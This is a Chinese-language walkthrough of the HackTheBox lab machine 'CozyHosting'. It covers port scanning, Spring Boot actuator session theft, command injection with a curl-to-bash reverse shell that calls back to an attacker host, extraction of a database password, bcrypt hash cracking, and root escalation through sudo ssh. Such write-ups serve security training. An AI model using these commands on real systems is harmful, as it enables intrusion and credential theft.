文章目录
- 1 端口扫描
- 2 测试思路
- 3 访问web站点
- 4 横向移动
- 5 权限提升
CozyHosting 测试过程
1 端口扫描
nmap -sC -sV 10.129.229.88

2 测试思路
目标开启了80和22端口,所以出发点从80端口开始。
1.通过在web网站寻找漏洞,获取到用户名和密码,远程连接22端口获取权限;
2.通过在web网站寻找漏洞,站点中存在可以获取权限的漏洞。
echo "10.129.229.88 cozyhosting.htb" | sudo tee -a /etc/hosts
3 访问web站点

1.在web站点中发现一个登录页面,爆破未成功,进行其他尝试

2.使用gobuster进行目录爆破

发现Whitelabel Error Page 页面,为springboot的报错页面


3.尝试使用springboot的字典对网站进行爆破
./gobuster dir -u http://cozyhosting.htb/ -w spring-boot.txt

扫描到的目录暴露了执行器端点,在http://cozyhosting.htb/actuator/sessions,可以看到kanderson的会话标识符

4.通过kanderson的会话标识符进行登录,替换JESSIONID的值,回车登录

5.在页面底部,发现表单,输入数据观察响应包发现命令注入,使用sh命令反弹shell


echo 命令写入 shell.sh 文件
echo -e '#!/bin/bash\nsh -i >& /dev/tcp/10.10.14.150/4444 0>&1' > shell.sh
# 本地开启http server
python3 -m http.server 8000
# 开启监听
ncat -lnvp 4444
# 执行;${IFS}定界符在bash和sh等shell中,默认为空格。
test;curl${IFS}http://10.10.14.150:8000/shell.sh|bash;


# 创建稳定pty
script /dev/null -c bash
4 横向移动
1.发现cloudhosting-0.0.1.jar文件,并对其进行解压

在/BOOT-INF/classes/application.properties文件中发现postgresql数据库的密码

2.postgresql数据库中信息收集,使用Vg&nvzAQ7XxR连接postgresql
# 使用Vg&nvzAQ7XxR连接postgresql
psql -h 127.0.0.1 -U postgres

# 列出数据库,发现cozyhosting、postgres、template0等数据库
\list

# 连接数据库
\connect cozyhosting
# 列出数据库中的表,发现users表
\dt

# 列出users表中的数据,发现admin及其hash密码
select * from users;

3.破解hash密码
# 识别hash算法
hashid '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm'
# 将hash值写入文件
echo '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm' > hash
# 破解hash
hashcat hash -m 3200 rockyou.txt

4.使用ssh连接,josh:manchesterunited
# 查看passwd文件发现用户:josh
cat /etc/passwd

ssh josh@10.129.229.88


5 权限提升
# 显示权限
sudo -l
1.执行权限发现User josh may run the following commands on localhost: (root) /usr/bin/ssh *,可以以root权限运行/usr/bin/root。

2.ssh中存在-o选项,通过指定PermitLocalCommand=yes,在ssh连接成功后,可以在客户端机器执行本地命令
sudo /usr/bin/ssh -v -o PermitLocalCommand=yes -o 'LocalCommand=/bin/bash' josh@127.0.0.1

